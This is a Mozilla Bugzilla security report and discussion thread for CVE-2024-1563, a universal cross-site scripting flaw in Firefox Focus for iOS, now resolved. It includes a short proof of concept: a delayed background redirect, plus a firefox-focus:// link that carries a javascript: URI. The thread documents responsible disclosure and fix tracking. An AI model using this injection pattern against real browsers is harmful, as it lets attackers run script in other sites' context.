1863831 - (CVE-2024-1563) Full UXSS via opening Firefox Focus externally after silent background navigation

Status: RESOLVED FIXED

(Focus :: Security: iOS, defect)

Description

[James Lee]

We are able to achieve Full UXSS by calling iOS Firefox Focus externally after silent background navigation.

PoC:

https://pwning.click/googleloc.php (Open in Firefox Focus and leave the browser, last thing user has seen is only
https://pwning.click/googleloc.php)

<script>setTimeout(function() {location="https://google.com"}, 3000);</script>

https://pwning.click/focuslink.php (Open with other browsers/apps like iOS Chrome)

<a href="firefox-focus://open-url?url=javascript:document.write(document.domain)">Open with Firefox Focus</a>

Comment 1

[James Lee]

This is all possible (Full UXSS) because iOS Firefox Focus allows silent background navigation while user left the browser.

Comment 2

[lmarceau [on leave; direct request to [e-mail]]]

This is similar to Firefox iOS bug https://bugzilla.mozilla.org/show_bug.cgi?id=1850158

Comment 3

[James Lee]

Is that running javascript URI with firefox URI? that doesn't become UXSS on Firefox but it does become Full UXSS on Focus, which is very serious issue.

Comment 4

[James Lee]

Please check this Apple default mail app case too: https://pwning.click/RPReplay_Final1705153539.mp4

Comment 5

[James Lee]

Attachment: 1860075_focuslink.php.png

Hi Nish, please confirm that your fix PR 3973 https://github.com/mozilla-mobile/focus-ios/pull/3973 for https://pwning.click/focuslink.php on https://bugzilla.mozilla.org/show_bug.cgi?id=1860075#c10 is identical to this 1863831 report: https://pwning.click/focuslink.php

Comment 6

[James Lee]

Attachment: 1863831_focuslink.php.png

Comment 7

[lmarceau [on leave; direct request to [e-mail]]]

Here's a summary from the above comment and links. Could you confirm this is accurate :james?

Steps to reproduce

1. Navigate to https://pwning.click/googleloc.php
2. Leave Focus application (by moving it to background)
3. Open Safari
4. Navigate to https://pwning.click/focuslink.php in Safari
5. Click on the link "Open with Firefox Focus"

Actual behavior

Focus is opened and JavaScript is running

Expected behavior

Focus is opened and JavaScript should not be running

Comment 8

[James Lee]

Yeah that's correct, this had same steps to the one Nish told Andrei https://bugzilla.mozilla.org/show_bug.cgi?id=1860075#c14

Thanks for confirming!

Comment 9

[James Lee]

We can now close this report so the new one Andrew added for See Also which is https://bugzilla.mozilla.org/show_bug.cgi?id=1876851 can also be tracked correctly in the future. Thanks!

Comment 10

[lmarceau [on leave; direct request to [e-mail]]]

Ok I'll marked it as duplicate of 1876851 so we keep only one bug open for those STR listed here.

Comment 11

[James Lee]

Thanks, but I believe this should be marked as resolved not duplicate due to https://github.com/mozilla-mobile/focus-ios/commit/0ecc6ed809a65c408c2216b9fe45abf9185f96eb for v122.

Comment 12

[lmarceau [on leave; direct request to [e-mail]]]

Ok I can make that change

Comment 13

[lmarceau [on leave; direct request to [e-mail]]]

Attachment: googleloc.php.html

Comment 14

[lmarceau [on leave; direct request to [e-mail]]]

Attachment: focuslink.php.html

Comment 15

[Tom Ritter [:tjr]]

Hey, sorry for the hassle, but could you update the tracking flags to indicate which version it was fixed it? It helps us with bookkeeping. Thank you!

Comment 16

[lmarceau [on leave; direct request to [e-mail]]]

Attachment: advisory.txt

Comment 17

[Daniel Veditz [:dveditz]]

Putting the needinfo back: looks like it was inadvertently removed when the advisory attachment was added. I suppose the advisory implies this was fixed in v123? It would still be nice to update the status flags to say that explicitly

Comment 18

[lmarceau [on leave; direct request to [e-mail]]]

Yes it was for v123! Hopefully I marked the right fields in the ticket here

Comment 19

[James Lee]

This is supposed to be fixed on v122 https://github.com/mozilla-mobile/focus-ios/pull/3973

Comment 20

[lmarceau [on leave; direct request to [e-mail]]]

Ah sorry James you're right! Let me adjust this.

Comment 21

[James Lee]

No worries, thanks!

Comment 22

[Daniel Veditz [:dveditz]]

status-firefox123: fixed is true, even if it's not the first version that was fixed. unfortunately we can't set the older fields as they get made read-only in bugzilla to reduce clutter.

Comment 23

[Daniel Veditz [:dveditz]]

This one is less universal than the previous one (involves user interaction with the other app) but still a valid UXSS